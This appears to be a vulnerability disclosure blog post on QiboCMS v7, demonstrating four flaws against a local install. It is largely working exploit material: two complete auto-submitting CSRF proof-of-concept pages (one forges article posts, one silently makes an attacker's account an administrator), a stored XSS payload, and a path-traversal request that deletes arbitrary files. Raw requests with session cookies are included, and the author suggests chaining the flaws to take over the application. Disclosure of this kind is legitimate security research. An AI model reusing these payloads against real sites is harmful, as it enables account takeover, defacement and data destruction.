The csrf vulnerabilities exists almost everywhere in the application. Due to a number of background vulnerabilities, just with a few tricks, an attacker can take over the application. Next, I’ll show you a few problems caused by CSRF combined with other background vulnerabilities.  
if you want to reproduce these vuls , please go to qisoft and download “齐博CMS整站系统v7”

![在这里插入图片描述](https://img-blog.csdnimg.cn/20191023130316593.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==,size_16,color_FFFFFF,t_70)

**0x01 CSRF in publishing articles**

position: /member/post.php?job=postnew&step=post

a normal http request like this:

    POST /qibo7/member/post.php?job=postnew&step=post HTTP/1.1
    Host: localhost:8123
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 1005
    Connection: close
    Referer: http://localhost:8123/qibo7/member/post.php?job=postnew&only=1&mid=0
    Cookie: USR=faol4ey2%091%091571797336%09http%3A%2F%2Flocalhost%3A8123%2Fqibo7%2Fdo%2Fupfile.php%3Ffn%3Duppic%26dir%3Darticle%2F%26ISone%3D1; __tins__20133593=%7B%22sid%22%3A%201571797312008%2C%20%22vd%22%3A%202%2C%20%22expires%22%3A%201571799136084%7D; __51cke__=; __51laig__=42; Admin=1%09AgIFAABRVlMDWQNWAg1WV1RUWgACDl0HVg8OA1dVXAk%3D940a495774; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1571738330; Hm_lpvt_7b43330a4da4a6f4353e553988ee8a62=1571738742; passport=1%09admin%09AgIFAABRVlMDWQNWAg1WV1RUWgACDl0HVg8OA1dVXAk%3D940a495774
    Upgrade-Insecure-Requests: 1
    
    fid=4&postdb%5Btitle%5D=ceshi2&postdb%5Btitlecolor%5D=ceshi&postdb%5Bfonttype%5D=1&postdb%5Bforbidcomment%5D=1&postdb%5Bkeywords%5D=ceshi&select2=&postdb%5Bauthor%5D=&postdb%5Bcopyfrom%5D=&select=&postdb%5Bcopyfromurl%5D=&postdb%5Bpicurl%5D=&postdb%5Bautomakesmall%5D=1&picWidth=300&picHeight=225&postdb%5Bdescription%5D=&postdb%5Byz%5D=1&PageNum=3000&postdb%5Bcontent%5D=1233333323%3Cbr+%2F%3E%0D%0A&Submit=+%E6%8F%90+%E4%BA%A4+&postdb%5Bbak_id%5D=&mid=0&i_id=&aid=0&rid=&only=1&postdb%5Bsmalltitle%5D=&postdb%5Bhtmlname%5D=&postdb%5Btpl%5D%5Bhead%5D=&postdb%5Btpl%5D%5Bfoot%5D=&postdb%5Btpl%5D%5Bbencandy%5D=&postdb%5Bstyle%5D=&postdb%5Bposttime%5D=&postdb%5Bbegintime%5D=&postdb%5Bendtime%5D=&postdb%5Bhits%5D=&postdb%5Bpasswd%5D=&postdb%5Bmoney%5D=&postdb%5Bsubhead%5D=&vote_db%5Bname%5D=&vote_db%5Btype%5D=1&vote_db%5Blimittime%5D=&vote_db%5Blimitip%5D=0&vote_db%5Bforbidguestvote%5D=0&vote_db%5Bbegintime%5D=&vote_db%5Bendtime%5D=&vote_db%5Babout%5D=&vote_db%5Bvotetype%5D=0&textfield=1&hiddenField=0
    

from the request, we can find that there is not a csrf token, besides, the app does not check the referer.Then, we can generate a csrf poc like the one below by burpsuite:

    <html>
      
      <body>
      <script>history.pushState('', '', '/')</script>
        <form id="csrf" action="http://localhost:8123/qibo7/member/post.php?job=postnew&step=post" method="POST">
          <input type="hidden" name="fid" value="4" />
          <input type="hidden" name="postdb&#91;title&#93;" value="you have been hacked" />
          <input type="hidden" name="postdb&#91;titlecolor&#93;" value="ceshi" />
          <input type="hidden" name="postdb&#91;fonttype&#93;" value="1" />
          <input type="hidden" name="postdb&#91;forbidcomment&#93;" value="1" />
          <input type="hidden" name="postdb&#91;keywords&#93;" value="ceshi" />
          <input type="hidden" name="select2" value="" />
          <input type="hidden" name="postdb&#91;author&#93;" value="" />
          <input type="hidden" name="postdb&#91;copyfrom&#93;" value="" />
          <input type="hidden" name="select" value="" />
          <input type="hidden" name="postdb&#91;copyfromurl&#93;" value="" />
          <input type="hidden" name="postdb&#91;picurl&#93;" value="" />
          <input type="hidden" name="postdb&#91;automakesmall&#93;" value="1" />
          <input type="hidden" name="picWidth" value="300" />
          <input type="hidden" name="picHeight" value="225" />
          <input type="hidden" name="postdb&#91;description&#93;" value="" />
          <input type="hidden" name="postdb&#91;yz&#93;" value="1" />
          <input type="hidden" name="PageNum" value="3000" />
          <input type="hidden" name="postdb&#91;content&#93;" value="1233333323&lt;br&#32;&#47;&gt;&#13;&#10;" />
          <input type="hidden" name="Submit" value="&#32;æ&#143;&#144;&#32;äº&#164;&#32;" />
          <input type="hidden" name="postdb&#91;bak&#95;id&#93;" value="" />
          <input type="hidden" name="mid" value="0" />
          <input type="hidden" name="i&#95;id" value="" />
          <input type="hidden" name="aid" value="0" />
          <input type="hidden" name="rid" value="" />
          <input type="hidden" name="only" value="1" />
          <input type="hidden" name="postdb&#91;smalltitle&#93;" value="" />
          <input type="hidden" name="postdb&#91;htmlname&#93;" value="" />
          <input type="hidden" name="postdb&#91;tpl&#93;&#91;head&#93;" value="" />
          <input type="hidden" name="postdb&#91;tpl&#93;&#91;foot&#93;" value="" />
          <input type="hidden" name="postdb&#91;tpl&#93;&#91;bencandy&#93;" value="" />
          <input type="hidden" name="postdb&#91;style&#93;" value="" />
          <input type="hidden" name="postdb&#91;posttime&#93;" value="" />
          <input type="hidden" name="postdb&#91;begintime&#93;" value="" />
          <input type="hidden" name="postdb&#91;endtime&#93;" value="" />
          <input type="hidden" name="postdb&#91;hits&#93;" value="" />
          <input type="hidden" name="postdb&#91;passwd&#93;" value="" />
          <input type="hidden" name="postdb&#91;money&#93;" value="" />
          <input type="hidden" name="postdb&#91;subhead&#93;" value="" />
          <input type="hidden" name="vote&#95;db&#91;name&#93;" value="" />
          <input type="hidden" name="vote&#95;db&#91;type&#93;" value="1" />
          <input type="hidden" name="vote&#95;db&#91;limittime&#93;" value="" />
          <input type="hidden" name="vote&#95;db&#91;limitip&#93;" value="0" />
          <input type="hidden" name="vote&#95;db&#91;forbidguestvote&#93;" value="0" />
          <input type="hidden" name="vote&#95;db&#91;begintime&#93;" value="" />
          <input type="hidden" name="vote&#95;db&#91;endtime&#93;" value="" />
          <input type="hidden" name="vote&#95;db&#91;about&#93;" value="" />
          <input type="hidden" name="vote&#95;db&#91;votetype&#93;" value="0" />
          <input type="hidden" name="textfield" value="1" />
          <input type="hidden" name="hiddenField" value="0" />
        </form>
        <script>
            var poc = document.getElementById("csrf");
            poc.submit()
        </script>
      </body>
    </html>
    
    

attacker just need to save the poc as a html and put it on his web server, then send the evil url to another users ,If the user clicks the evil url when logged into the system, he will publish an article(and the article title is defind in the poc) without his knowledge.Now, I will show you the details. I login admin account locally:

![在这里插入图片描述](https://img-blog.csdnimg.cn/20191023120247906.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==,size_16,color_FFFFFF,t_70)

and I try to request the evil url(http://localhost/test/csrf\_poc1.php), then when we back to the index.php we will find that one more article is published with title “you have been hacked”!

![在这里插入图片描述](https://img-blog.csdnimg.cn/20191023120926730.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==,size_16,color_FFFFFF,t_70)

**0x02 CSRF to Privilege Escalation (add an super administrator)**

position: /admin/index.php?lfj=member&action=editmember

normal request(change user “axin” to administrator):

    POST /qibo7/admin/index.php?lfj=member&action=editmember HTTP/1.1
    Host: localhost:8123
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 633
    Connection: close
    Referer: http://localhost:8123/qibo7/admin/index.php?lfj=member&job=editmember&uid=2
    Cookie: USR=faol4ey2%096%091571798905%09http%3A%2F%2Flocalhost%3A8123%2Fqibo7%2Fdo%2Fregfield.php%3Fjob%3Dreg%26uid%3D2%260.20012388446694007; __tins__20133593=%7B%22sid%22%3A%201571797312008%2C%20%22vd%22%3A%203%2C%20%22expires%22%3A%201571799269555%7D; __51cke__=; __51laig__=43; Admin=1%09AgIFAABRVlMDWQNWAg1WV1RUWgACDl0HVg8OA1dVXAk%3D940a495774; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1571738330; Hm_lpvt_7b43330a4da4a6f4353e553988ee8a62=1571738742; passport=1%09admin%09AgIFAABRVlMDWQNWAg1WV1RUWgACDl0HVg8OA1dVXAk%3D940a495774; adminID=CDtWAVhaCDkAVQwCWgdXB1ZQWAdUB1BQVFVZA1cOAlVbCg9XVlVfCQ%3D%3D8991c7cf95
    Upgrade-Insecure-Requests: 1
    
    postdb%5Busername%5D=axin&postdb%5Bpassword%5D=5f4dcc3b5aa765d61d8327deb882cf99&postdb%5Bnewpassword%5D=&postdb%5Bgroupid%5D=3&ConfigDB%5Bendtime%5D=&postdb%5Bemail%5D=770284144%40qq.com&postdb%5Bicon%5D=&picWidth=150&picHeight=150&postdb%5Bmoney%5D=5&postdb%5Btotalspace%5D=0&postdb%5Boltime%5D=13226&postdb%5Bsex%5D=0&postdb%5Byz%5D=1&postdb%5Bintroduce%5D=&postdb%5Boicq%5D=&postdb%5Bmsn%5D=&postdb%5Bhomepage%5D=&postdb%5Baddress%5D=&postdb%5Bpostalcode%5D=&postdb%5Btelephone%5D=&postdb%5Bmobphone%5D=&postdb%5Bidcard%5D=&postdb%5Btruename%5D=&email_yz=0&mob_yz=0&idcard_yz=0&Submit=%E4%BF%AE+%E6%94%B9&uid=2&postdb%5Bhits%5D2=2
    

then, we can generate a csrf poc by burpsuite:

    <html>
    
    <body>
    <script>history.pushState('', '', '/')</script>
    <form id="csrf" action="http://localhost:8123/qibo7/admin/index.php?lfj=member&action=editmember" method="POST">
        <input type="hidden" name="postdb&#91;username&#93;" value="axin" />
        <input type="hidden" name="postdb&#91;password&#93;" value="5f4dcc3b5aa765d61d8327deb882cf99" />
        <input type="hidden" name="postdb&#91;newpassword&#93;" value="" />
        <input type="hidden" name="postdb&#91;groupid&#93;" value="3" />
        <input type="hidden" name="ConfigDB&#91;endtime&#93;" value="" />
        <input type="hidden" name="postdb&#91;email&#93;" value="770284144&#64;qq&#46;com" />
        <input type="hidden" name="postdb&#91;icon&#93;" value="" />
        <input type="hidden" name="picWidth" value="150" />
        <input type="hidden" name="picHeight" value="150" />
        <input type="hidden" name="postdb&#91;money&#93;" value="5" />
        <input type="hidden" name="postdb&#91;totalspace&#93;" value="0" />
        <input type="hidden" name="postdb&#91;oltime&#93;" value="13226" />
        <input type="hidden" name="postdb&#91;sex&#93;" value="0" />
        <input type="hidden" name="postdb&#91;yz&#93;" value="1" />
        <input type="hidden" name="postdb&#91;introduce&#93;" value="" />
        <input type="hidden" name="postdb&#91;oicq&#93;" value="" />
        <input type="hidden" name="postdb&#91;msn&#93;" value="" />
        <input type="hidden" name="postdb&#91;homepage&#93;" value="" />
        <input type="hidden" name="postdb&#91;address&#93;" value="" />
        <input type="hidden" name="postdb&#91;postalcode&#93;" value="" />
        <input type="hidden" name="postdb&#91;telephone&#93;" value="" />
        <input type="hidden" name="postdb&#91;mobphone&#93;" value="" />
        <input type="hidden" name="postdb&#91;idcard&#93;" value="" />
        <input type="hidden" name="postdb&#91;truename&#93;" value="" />
        <input type="hidden" name="email&#95;yz" value="0" />
        <input type="hidden" name="mob&#95;yz" value="0" />
        <input type="hidden" name="idcard&#95;yz" value="0" />
        <input type="hidden" name="Submit" value="ä&#191;&#174;&#32;æ&#148;&#185;" />
        <input type="hidden" name="uid" value="2" />
        <input type="hidden" name="postdb&#91;hits&#93;2" value="2" />
        <input type="submit" value="Submit request" />
    </form>
    <script>
        var poc = document.getElementById("csrf");
        poc.submit()
    </script>
    </body>
    </html>
    

the poc is to change user “axin” to administrator, if you want to reproduce the attack, you should register a common user first, and then generate csrf poc yourself.

from the picture below , we can see that the user axin is just a common user.  
![在这里插入图片描述](https://img-blog.csdnimg.cn/20191023121948917.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==,size_16,color_FFFFFF,t_70)

but after the admin click the evil url, the user axin will be admin !!

![在这里插入图片描述](https://img-blog.csdnimg.cn/20191023122628335.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==,size_16,color_FFFFFF,t_70)

**0x03 Stored XSS in background**

position:/admin/index.php?lfj=friendlink&action=add  
request:

    POST /qibo7/admin/index.php?lfj=friendlink&action=add HTTP/1.1
    Host: localhost:8123
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 283
    Connection: close
    Referer: http://localhost:8123/qibo7/admin/index.php?lfj=friendlink&job=add
    Cookie: USR=faol4ey2%091%091571805064%09http%3A%2F%2Flocalhost%3A8123%2Fqibo7%2Fadmin%2Findex.php%3Flfj%3Dfriendlink%26job%3Dadd; __tins__20133593=%7B%22sid%22%3A%201571802713278%2C%20%22vd%22%3A%204%2C%20%22expires%22%3A%201571805446751%7D; __51cke__=; __51laig__=47; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1571738330; Hm_lpvt_7b43330a4da4a6f4353e553988ee8a62=1571738742; passport=1%09admin%09AgIFAABRVlMDWQNWAg1WV1RUWgACDl0HVg8OA1dVXAk%3D940a495774; Admin=1%09AgIFAABRVlMDWQNWAg1WV1RUWgACDl0HVg8OA1dVXAk%3D940a495774; adminID=CDtWAVhaCDkAVQwCWgdXB1ZQWAdUB1BQVFVZA1cOAlVbCg9XVlVfCQ%3D%3D8991c7cf95
    Upgrade-Insecure-Requests: 1
    
    postdb%5Bname%5D=axin&postdb%5Bfid%5D=2&postdb%5Burl%5D=%22%3E%3Cscript%3Ealert%28%2Fxss%2F%29%3B%3C%2Fscript%3E&postdb%5Blogo%5D=&postdb%5Bdescrip%5D=&postdb%5Bifhide%5D=0&postdb%5Byz%5D=1&postdb%5Biswordlink%5D=0&postdb%5Bendtime%5D=&Submit=%E6%8F%90%E4%BA%A4%E6%95%B0%E6%8D%AE&id=
    

No dangerous characters are escaped， so we can insert our payload like below:  
`"><script>alert(1);</script>`  
![在这里插入图片描述](https://img-blog.csdnimg.cn/20191023123225890.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==,size_16,color_FFFFFF,t_70)

![在这里插入图片描述](https://img-blog.csdnimg.cn/20191023123328491.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==,size_16,color_FFFFFF,t_70)  
![在这里插入图片描述](https://img-blog.csdnimg.cn/20191023123459678.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==,size_16,color_FFFFFF,t_70)  
of course, we can also combine the xss with the csrf to do more !

**0x04 Arbitrary File Deletion in background**

position:/admin/index.php?lfj=mysql&action=del

poc:

    POST /qibo7/admin/index.php?lfj=mysql&action=del HTTP/1.1
    Host: localhost:8123
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 63
    Connection: close
    Referer: http://localhost:8123/qibo7/admin/index.php?lfj=mysql&job=del
    Cookie: USR=faol4ey2%091%091571799626%09http%3A%2F%2Flocalhost%3A8123%2Fqibo7%2Fadmin%2Findex.php%3Flfj%3Dmysql%26job%3Ddel; __tins__20133593=%7B%22sid%22%3A%201571797312008%2C%20%22vd%22%3A%203%2C%20%22expires%22%3A%201571799269555%7D; __51cke__=; __51laig__=43; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1571738330; Hm_lpvt_7b43330a4da4a6f4353e553988ee8a62=1571738742; passport=1%09admin%09AgIFAABRVlMDWQNWAg1WV1RUWgACDl0HVg8OA1dVXAk%3D940a495774; Admin=2%09AgIFAABRVlMDWQNWAg1WV1RUWgACDl0HVg8OA1dVXAk%3D940a495774; adminID=V29XS10LbVNSA1EBBgNVBwBXUQQNXQEBVF4GBVNcUlZdXgRQUlxd14a26ee802
    Upgrade-Insecure-Requests: 1
    
    baktime=../test.php&Submit=%E5%88%A0%E9%99%A4%E6%95%B0%E6%8D%AE
    

![在这里插入图片描述](https://img-blog.csdnimg.cn/2019102312471024.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==,size_16,color_FFFFFF,t_70)

The problem occurred when the backup database was deleted， we can control the parameter “baktime”, and we can use `../` to achieve directory traversal purpose, so we can delete some web pages.I will show you details next.

firstly, create a file named `axin.php` in the root path of the application like below

![在这里插入图片描述](https://img-blog.csdnimg.cn/20191023125214905.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==,size_16,color_FFFFFF,t_70)

and then send our payload

![在这里插入图片描述](https://img-blog.csdnimg.cn/20191023125423596.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==,size_16,color_FFFFFF,t_70)

now, the file `axin.php` created just now has been deleted!

![在这里插入图片描述](https://img-blog.csdnimg.cn/2019102312545969.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==,size_16,color_FFFFFF,t_70)

of course, we can also combine the vul with csrf to do more !

![在这里插入图片描述](https://img-blog.csdnimg.cn/20200708212341789.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==,size_16,color_FFFFFF,t_70#pic_center)

Tag

#xss